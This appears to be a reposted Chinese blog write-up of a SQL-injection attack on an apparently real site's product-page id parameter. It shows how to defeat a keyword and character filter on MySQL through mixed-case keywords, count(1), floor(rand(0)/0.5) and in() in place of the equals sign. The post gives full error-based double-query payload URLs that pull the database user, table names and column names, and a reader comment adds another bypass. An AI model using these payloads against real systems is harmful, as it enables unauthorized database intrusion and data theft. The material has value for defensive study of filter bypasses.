最新消息:

渗透测试:记一次绕过简单SQL防注入爆菊(mysql)

别人经典渗透过程学习 admin 3337浏览 0评论

转自:http://www.cnseay.com/2418/

目标站用www.cnseay.com代替。

打开网站,点开一个产品页面。在?id=62 后面加单引号,如下图

判断出参数id无单引号保护,且GPC开启,无单引号就好办多了。

不过经测试,发现以下问题:

1、常用注入关键字union、select、from、星号(*)、等号等均被替换为空。

2、参数被多条SQL语句使用,只能用第一条语句双查询报错注入。

OK,知道了限制,我们就可以想绕过方法来玩了。

通过测试发现。union、select、from等关键字可大小写绕过。

 

OK,接下来就要用双查询就可以得到数据了。比较常用的双查询语句:

(select 1 from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b)

可以看到有星号,星号是会被替换为空的,那就办法不用星号吧。

第一个星号处:count(*)  我把它换成count(1)。

第二个星号处:floor(rand(0)*2)  怎么搞呢?

其实很简单,1*2=???  等于2吧,那乘法换成除法呢?

那就是1/0.5 还是等于2。

 

那等号呢??

我们可以用大于或者小于绕过。

所以最终的语句为:

http://www.cnseay.com/show_content.php?id=62 anD cate_parent>(selecT 1 fRom (selecT count(1),concat(floor(rand(0)/0.5),(select USER()))a frOm information_schema.tables gRoup by a)b)– 1

 

 

 

那查其他表数据呢?

union select 1,2,..,group_concat(table_name) from information_schema.tables where table_schema =database()

这里有等号啊。怎么绕???????

可以用in()查询。

爆表名:

http://www.cnseay.com/show_content.php?id=62 anD cate_parent>(selecT 1 fRom (selecT count(1),concat(floor(rand(0)/0.5),(selEct table_name fRom information_schema.tables wHere table_schema in(database())limIt 1,1))a frOm information_schema.tables gRoup by a)b)– 1

 

爆列名:

http://www.cnseay.com/show_content.php?id=62 anD cate_parent>(selecT 1 fRom (selecT count(1),concat(floor(rand(0)/0.5),(selEct column_name fRom information_schema.columns whEre table_name in(char(101,100,117,99,109,115,95,97,100,109,105,110)) aNd table_schema in(database()) limIt 1,1))a frOm information_schema.tables gRoup by a)b)– 1

 

ps:作者通过大小写绕过对关键字的限制。通过count(1)绕过count(*)中*。通过in()绕过=的限制。通过floor(rand(0)/0.5)绕过对floor(rand(0)*2)中对*的限制。

本文是一篇绕过防注入进行报错注入的范例,要多多参考。

 

转载请注明:jinglingshu的博客 » 渗透测试:记一次绕过简单SQL防注入爆菊(mysql)

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. mysql报错语句不一定非要使用union select,也可以使用and 2>(select 1 from 报错语句)这样的形式来进行。 = 用 in() 来绕过
    admin11年前 (2014-01-14)回复